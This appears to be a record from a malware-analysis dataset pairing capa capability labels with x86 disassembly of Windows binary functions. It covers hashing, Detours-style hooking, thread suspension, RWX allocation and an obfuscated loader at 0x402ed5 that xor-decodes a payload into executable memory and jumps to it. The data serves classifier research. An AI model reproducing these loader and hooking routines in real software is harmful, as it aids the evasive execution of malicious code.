joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420510
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
xor edx, edx
inc ecx
push edi
movzx esi, byte [ecx - 1]
movzx edi, byte [ecx]
shl esi, 8
or esi, edi
movzx edi, byte [ecx + 1]
shl esi, 8
or esi, edi
movzx edi, byte [ecx + 2]
shl esi, 8
or esi, edi
mov dword [ebp + edx*4 - 0x120], esi
inc edx
add ecx, 4
cmp edx, 0x10
jb 0x42051f
push 0x40
pop esi
cmp edx, esi
jae 0x42059a
sub esi, edx
lea ecx, [ebp + edx*4 - 0x128]
mov dword [ebp - 4], esi
mov esi, dword [ecx]
mov edx, dword [ecx - 0x34]
mov edi, esi
rol edi, 0xf
mov ebx, esi
shr esi, 0xa
rol ebx, 0xd
xor edi, ebx
xor edi, esi
mov esi, edx
rol esi, 0xe
mov ebx, edx
ror ebx, 7
xor esi, ebx
shr edx, 3
xor esi, edx
add edi, esi
add edi, dword [ecx - 0x38]
add ecx, 4
add edi, dword [ecx - 0x18]
dec dword [ebp - 4]
mov dword [ecx + 4], edi
jne 0x420560
mov ecx, dword [eax + 0x54]
mov edi, dword [eax + 0x50]
mov ebx, dword [eax + 0x68]
mov esi, dword [eax + 0x60]
and dword [ebp - 0x14], 0
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0x58]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x5c]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [eax + 0x64]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + 0x6c]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ecx
mov ecx, esi
ror ecx, 0xb
mov edx, esi
rol edx, 7
xor ecx, edx
mov edx, esi
ror edx, 6
xor ecx, edx
mov edx, esi
not edx
and edx, ebx
mov ebx, dword [ebp - 0x10]
and ebx, esi
xor edx, ebx
add ecx, edx
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + 0x443a60]
mov ebx, edi
add ecx, dword [ebp + edx - 0x120]
mov edx, edi
add ecx, dword [ebp - 4]
ror edx, 0xd
rol ebx, 0xa
xor edx, ebx
mov ebx, edi
add dword [ebp - 0x14], 4
ror ebx, 2
xor edx, ebx
mov ebx, dword [ebp - 8]
xor ebx, edi
and ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
and edi, dword [ebp - 0x18]
xor ebx, edi
mov edi, dword [ebp - 0x20]
add edx, ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 4], edi
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edi
mov edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 0x18]
mov dword [ebp - 8], edi
add esi, ecx
cmp dword [ebp - 0x14], 0x100
lea edi, [edx + ecx]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], edi
jb 0x4205cb
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 8]
add ecx, edi
mov dword [eax + 0x50], ecx
mov ecx, dword [eax + 0x54]
add ecx, edx
mov edx, dword [ebp - 0xc]
mov dword [eax + 0x54], ecx
mov ecx, dword [eax + 0x58]
add ecx, edx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 0x58], ecx
mov ecx, dword [eax + 0x5c]
add ecx, edx
mov edx, dword [ebp - 0x10]
mov dword [eax + 0x5c], ecx
mov ecx, dword [eax + 0x60]
add ecx, esi
mov dword [eax + 0x60], ecx
mov ecx, dword [eax + 0x64]
add ecx, edx
mov edx, dword [ebp - 4]
mov dword [eax + 0x64], ecx
mov ecx, dword [eax + 0x68]
add ecx, ebx
mov dword [eax + 0x68], ecx
mov ecx, dword [eax + 0x6c]
pop edi
add ecx, edx
pop esi
mov dword [eax + 0x6c], ecx
pop ebx
leave
ret
Function at 0x421855
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x43bfcb
call fcn.004251d4
xor edi, edi
mov dword [ebp - 4], edi
push 0x18
mov byte [ebp - 4], 1
call fcn.0042429a
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 2
cmp esi, edi
je 0x42189f
mov ecx, dword [ebp + 0x18]
cmp ecx, edi
jne 0x42188b
mov dword [esi + 0x10], edi
jmp 0x4218a1
lea eax, [ebp + 8]
cmp ecx, eax
mov eax, dword [ecx]
jne 0x421897
push esi
jmp 0x421898
push edi
call dword [eax]
mov dword [esi + 0x10], eax
jmp 0x4218a1
xor esi, esi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push esi
push 0x4218e1
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
or dword [ebp - 4], 0xffffffff
lea esi, [ebp + 8]
mov edi, eax
call fcn.0040108b
mov eax, edi
jmp 0x4218db
call fcn.00425279
ret

Function at 0x4241ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44d060]
jne 0x4241f4
repz ret
jmp fcn.004252ab

Function at 0x4288fc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042573f
and dword [ebp - 4], 0
cmp dword [0x450560], 0
mov ebx, eax
jne 0x4289ad
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x428a5e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x428a5e
push eax
call fcn.004256cd
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x450560], eax
call esi
push eax
call fcn.004256cd
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x450564], eax
call esi
push eax
call fcn.004256cd
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x450568], eax
call esi
push eax
call fcn.004256cd
pop ecx
mov dword [0x450570], eax
test eax, eax
je 0x4289ad
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004256cd
pop ecx
mov dword [0x45056c], eax
mov eax, dword [0x45056c]
cmp eax, ebx
je 0x428a05
cmp dword [0x450570], ebx
je 0x428a05
push eax
call fcn.00425748
push dword [0x450570]
mov esi, eax
call fcn.00425748
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x428a05
test edi, edi
je 0x428a05
call esi
test eax, eax
je 0x4289fc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4289fc
test byte [ebp - 0xc], 1
jne 0x428a05
or dword [ebp + 0x10], 0x200000
jmp 0x428a3e
mov eax, dword [0x450564]
cmp eax, ebx
je 0x428a3e
push eax
call fcn.00425748
pop ecx
test eax, eax
je 0x428a3e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x428a3e
mov eax, dword [0x450568]
cmp eax, ebx
je 0x428a3e
push eax
call fcn.00425748
pop ecx
test eax, eax
je 0x428a3e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x450560]
call fcn.00425748
pop ecx
test eax, eax
je 0x428a5e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x428a60
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430220
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4506d0], eax
je 0x43023e
mov eax, 0x10dd
jmp 0x43031f
mov eax, dword [0x4506e0]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4302bc
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x43029a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x43029a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.00430390
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00424223
add esp, 4
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x430246
mov dword [0x4506e0], 0
call fcn.00430330
mov ecx, dword [0x4506dc]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
je 0x430309
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00424223
add esp, 4
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
jmp 0x4302d4
mov dword [0x4506dc], 0
mov dword [0x4506d0], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x430860
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x430875
xor eax, eax
jmp 0x4308ea
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x10000
mov dword [ebp - 8], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x4308a2
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x38d
jae 0x4308e5
mov edx, dword [ebp - 0x10]
imul edx, edx, 0x48
mov eax, dword [ebp - 0xc]
cmp dword [eax + edx + 0x40], 0
je 0x4308e3
mov ecx, dword [ebp - 0x10]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 4]
jb 0x4308df
mov ecx, dword [ebp - 0x10]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 8]
jb 0x4308e3
xor eax, eax
jmp 0x4308ea
jmp 0x430899
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x430990
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x4506d4], 0
je 0x4309a9
mov eax, dword [0x4506d4]
jmp 0x430a49
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x4309bb
xor eax, eax
jmp 0x430a49
push 8
call fcn.0042429a
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x430a11
mov dword [ebp - 4], 8
cmp dword [ebp - 8], 0
je 0x4309fa
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.00424223
add esp, 4
mov dword [ebp - 8], 0
mov eax, dword [ebp - 4]
mov dword [0x4506d4], eax
mov dword [0x4506d8], 0
mov eax, dword [ebp - 4]
jmp 0x430a49
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x430a2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x4309db
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 8]
mov edx, dword [0x4506dc]
mov dword [ecx], edx
mov eax, dword [ebp - 8]
mov dword [0x4506dc], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x431340
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00431550
add esp, 0xc
mov dword [ebp - 0x10], 0
cmp dword [0x4506c4], 0
jne 0x43137d
cmp dword [0x4506c0], 0
je 0x43137d
mov eax, dword [0x4506c0]
mov dword [0x4506c4], eax
cmp dword [0x4506c4], 0
je 0x4313fa
mov ecx, dword [0x4506c4]
cmp dword [ecx + 8], 0
je 0x4313fa
mov edx, dword [0x4506c4]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 8]
jb 0x4313fa
mov ecx, dword [0x4506c4]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x4313fa
mov eax, dword [0x4506c4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 8]
jb 0x4313c9
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jbe 0x4313d0
xor eax, eax
jmp 0x431540
mov ecx, dword [0x4506c4]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00426910
add esp, 0xc
mov eax, dword [ebp - 0x10]
jmp 0x431540
mov edx, dword [0x4506c0]
mov dword [0x4506c4], edx
jmp 0x431416
mov eax, dword [0x4506c4]
mov ecx, dword [eax + 4]
mov dword [0x4506c4], ecx
cmp dword [0x4506c4], 0
je 0x431456
cmp dword [0x4506c4], 0
je 0x431454
mov edx, dword [0x4506c4]
cmp dword [edx + 8], 0
je 0x431454
mov eax, dword [0x4506c4]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jb 0x431454
mov edx, dword [0x4506c4]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x431454
jmp 0x4313ae
jmp 0x431408
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
jne 0x431487
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00431730
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4314a0
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00431630
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x43153e
mov ecx, dword [ebp - 4]
mov dword [0x4506c4], ecx
mov edx, dword [0x4506c4]
mov dword [edx], 0x52727464
mov eax, dword [0x4506c4]
mov dword [eax + 8], 0
mov ecx, dword [0x4506c4]
mov edx, dword [0x4506c0]
mov dword [ecx + 4], edx
mov eax, dword [0x4506c4]
mov dword [0x4506c0], eax
mov dword [ebp - 0x14], 0
mov ecx, dword [0x4506c4]
add ecx, 0x48
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], 0x38c
jmp 0x431509
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 1
jle 0x43152d
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x48
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov dword [ecx + eax + 0x40], edx
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x48
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
jmp 0x431500
mov ecx, dword [0x4506c4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 8], edx
jmp 0x4313ae
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x431630
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.00431700
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x4316f5
mov edx, dword [ebp - 4]
cmp edx, dword [0x44dcd0]
jb 0x431675
mov eax, dword [ebp - 4]
cmp eax, dword [0x44dcd4]
ja 0x431675
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x431645
push 0x1c
push 0
lea edx, [ebp - 0x20]
push edx
call fcn.00426910
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x43169b
jmp 0x4316f5
cmp dword [ebp - 0x10], 0x10000
jne 0x4316de
cmp dword [ebp - 0x14], 0x10000
jb 0x4316de
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4316d1
mov eax, dword [ebp - 0x24]
jmp 0x4316f7
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x4316f0
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x14]
push ecx
call fcn.00431700
add esp, 4
mov dword [ebp - 4], eax
jmp 0x431645
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x431730
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.00431810
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x4317fd
mov edx, dword [ebp - 4]
cmp edx, dword [0x44dcd0]
jb 0x43177a
mov eax, dword [ebp - 4]
cmp eax, dword [0x44dcd4]
ja 0x43177a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x43174a
push 0x1c
push 0
lea edx, [ebp - 0x20]
push edx
call fcn.00426910
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x4317a0
jmp 0x4317fd
cmp dword [ebp - 0x10], 0x10000
jne 0x4317e3
cmp dword [ebp - 0x14], 0x10000
jb 0x4317e3
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4317d6
mov eax, dword [ebp - 0x24]
jmp 0x4317ff
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x4317f8
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x10000
push ecx
call fcn.00431810
add esp, 4
mov dword [ebp - 4], eax
jmp 0x43174a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x431840
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x45070c], 0
je 0x431856
xor eax, eax
jmp 0x431a72
cmp dword [0x450708], 0
je 0x431869
mov eax, dword [0x450708]
jmp 0x431a72
push 0x24
push 0
push 0x4506e4
call fcn.00426910
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x4506e4], eax
push 0
push 0
push str.dbghelp.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [0x4506e8], eax
cmp dword [0x4506e8], 0
jne 0x43190e
mov dword [0x45070c], 1
cmp dword [0x4506e8], 0
je 0x4318c1
mov eax, dword [0x4506e8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x4506ec], 0
mov dword [0x4506f0], 0
mov dword [0x4506f4], 0
mov dword [0x4506f8], 0
mov dword [0x4506fc], 0
mov dword [0x450700], 0
mov dword [0x450704], 0
xor eax, eax
jmp 0x431a72
push str.ImagehlpApiVersionEx
mov ecx, dword [0x4506e8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4506ec], eax
push str.SymInitialize
mov edx, dword [0x4506e8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4506f0], eax
push str.SymSetOptions
mov eax, dword [0x4506e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4506f4], eax
push str.SymGetOptions
mov ecx, dword [0x4506e8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4506f8], eax
push str.SymLoadModule64
mov edx, dword [0x4506e8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4506fc], eax
push str.SymGetModuleInfo64
mov eax, dword [0x4506e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x450700], eax
push str.SymFromName
mov ecx, dword [0x4506e8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x450704], eax
push 8
push 0
lea edx, [ebp - 8]
push edx
call fcn.00426910
add esp, 0xc
mov eax, 0xb
mov word [ebp - 8], ax
cmp dword [0x4506ec], 0
je 0x4319f3
cmp dword [0x4506f0], 0
je 0x4319f3
cmp dword [0x4506fc], 0
je 0x4319f3
cmp dword [0x450700], 0
je 0x4319f3
cmp dword [0x450704], 0
jne 0x4319f8
jmp 0x4318a2
lea ecx, [ebp - 8]
push ecx
call dword [0x4506ec]
movzx edx, word [ebp - 8]
cmp edx, 0xb
jge 0x431a10
jmp 0x4318a2
push 0
push 0
mov eax, dword [0x4506e4]
push eax
call dword [0x4506f0]
test eax, eax
jne 0x431a29
jmp 0x4318a2
cmp dword [0x4506f8], 0
je 0x431a63
cmp dword [0x4506f4], 0
je 0x431a63
call dword [0x4506f8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
and ecx, 0xfffffff8
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
or edx, 0x2704
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
push eax
call dword [0x4506f4]
mov dword [0x450708], 0x4506e4
mov eax, dword [0x450708]
mov esp, ebp
pop ebp
ret
Function at 0x405e40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x41da8c], 0
jne 0x40611a
push esi
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.6_.4202:zb0.1:bb
mov byte [0x41da8c], 1
call fcn.0040773f
push 0x12a0
push 0
push 0x41c7d8
call fcn.0040c840
push 0
push 0x41c7f6
push 0x4175ec
call fcn.00405d70
push 0
push 0x41c9f4
push 0x4175f4
call fcn.00405d70
push 0x41ca30
push 0
push 0x4175fc
call fcn.00405d70
push 0
push 0x41ca34
push 0x417604
call fcn.00405d70
add esp, 0x40
push 0
push 0x41cc32
push 0x41760c
call fcn.00405d70
push 0x41cc70
push 0
push 0x417614
call fcn.00405d70
push 0
push 0x41cc74
push 0x41761c
call fcn.00405d70
push 0
push 0x41ce72
push 0x417624
call fcn.00405d70
push 0x41ceb0
push 0
push 0x41762c
call fcn.00405d70
push 0
push 0x41ceb4
push 0x417634
call fcn.00405d70
add esp, 0x48
push 0
push 0x41cef0
push 0x41763c
call fcn.00405d70
push 0
push 0x41cf2c
push 0x417644
call fcn.00405d70
push 0
push 0x41cf90
push 0x41764c
call fcn.00405d70
push 0
push 0x41cff4
push 0x417654
call fcn.00405d70
push 0x41d058
push 0
push 0x41765c
call fcn.00405d70
push 0x41d05c
push 0
push 0x417664
call fcn.00405d70
add esp, 0x48
push 0x41d060
push 0
push 0x41766c
call fcn.00405d70
push 0x41d064
push 0
push 0x417674
call fcn.00405d70
push 0x41d068
push 0
push 0x41767c
call fcn.00405d70
push 0x41d06c
push 0
push 0x417684
call fcn.00405d70
push 0x41d070
push 0
push 0x41768c
call fcn.00405d70
push 0x41d074
push 0
push 0x417694
call fcn.00405d70
add esp, 0x48
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push connect
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x406042
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
cmp dword [ebp - 4], 0xa
jbe 0x406119
push 0x7d0
push 0
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.6_.4202:zb0.1:bb
call fcn.0040c840
mov eax, dword [ebp - 0xc]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj32.6_.4202:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
push 0
push 0x41c7f6
push 0x4175ec
call fcn.00405d70
push 0
push 0x41c9f4
push 0x4175f4
call fcn.00405d70
push 0x41ca30
push 0
push 0x4175fc
call fcn.00405d70
push 0
push 0x41ca34
push 0x417604
call fcn.00405d70
push 0
push 0x41cc32
push 0x41760c
call fcn.00405d70
push 0x41cc70
push 0
push 0x417614
call fcn.00405d70
add esp, 0x48
push 0
push 0x41cc74
push 0x41761c
call fcn.00405d70
push 0
push 0x41ce72
push 0x417624
call fcn.00405d70
push 0x41ceb0
push 0
push 0x41762c
call fcn.00405d70
add esp, 0x24
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x402ee4
pop dword [ebp - 0x1c]
mov eax, 0x5cc40c1b
sub eax, 0x5c83dd37
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x758158fc
add dword [ebp - 0x2c], 0xd8d0ec4f
mov dword [ebp - 0x28], 0x73b1d5d2
add dword [ebp - 0x28], 0xbe817673
mov dword [ebp - 0x24], 0x65982126
add dword [ebp - 0x24], 0xe6b42308
mov dword [ebp - 0x20], 0xbd088cdc
sub dword [ebp - 0x20], 0xbd088cdc
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xb4907254
add dword [ebp - 0x2c], 0xbfe1f702
mov dword [ebp - 0x28], 0xfb39eabc
add dword [ebp - 0x28], 0x463276b9
mov dword [ebp - 0x24], 0x810d7b8f
add dword [ebp - 0x24], 0xe261f0dd
mov dword [ebp - 0x20], 0xb6a61273
sub dword [ebp - 0x20], 0xb6a61273
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xcd5f25fb
sub eax, 0xcd1ea4fb
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x39593
push 0
call eax
mov ecx, 0x1a311157
add ecx, 0xe5cf3fe9
mov edi, eax
mov esi, 0x46e400
add esi, dword [ebp - 0x1c]
mov ebx, 0x40923906
sub ebx, 0x71f3e32d
xor dword [ebp - 8], ebx
mov edx, dword [esi]
xor edx, ebx
sub dword [ebp - 0x10], 0x4c591c04
mov dword [edi], edx
add dword [ebp - 0xc], 0x54955902
add edi, 4
add esi, 4
loop 0x402ffb
add eax, 0x92a06c34
sub eax, 0x929f3461
mov ebx, eax
add eax, 0x15ea7ea6
add eax, 0xea15815f
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
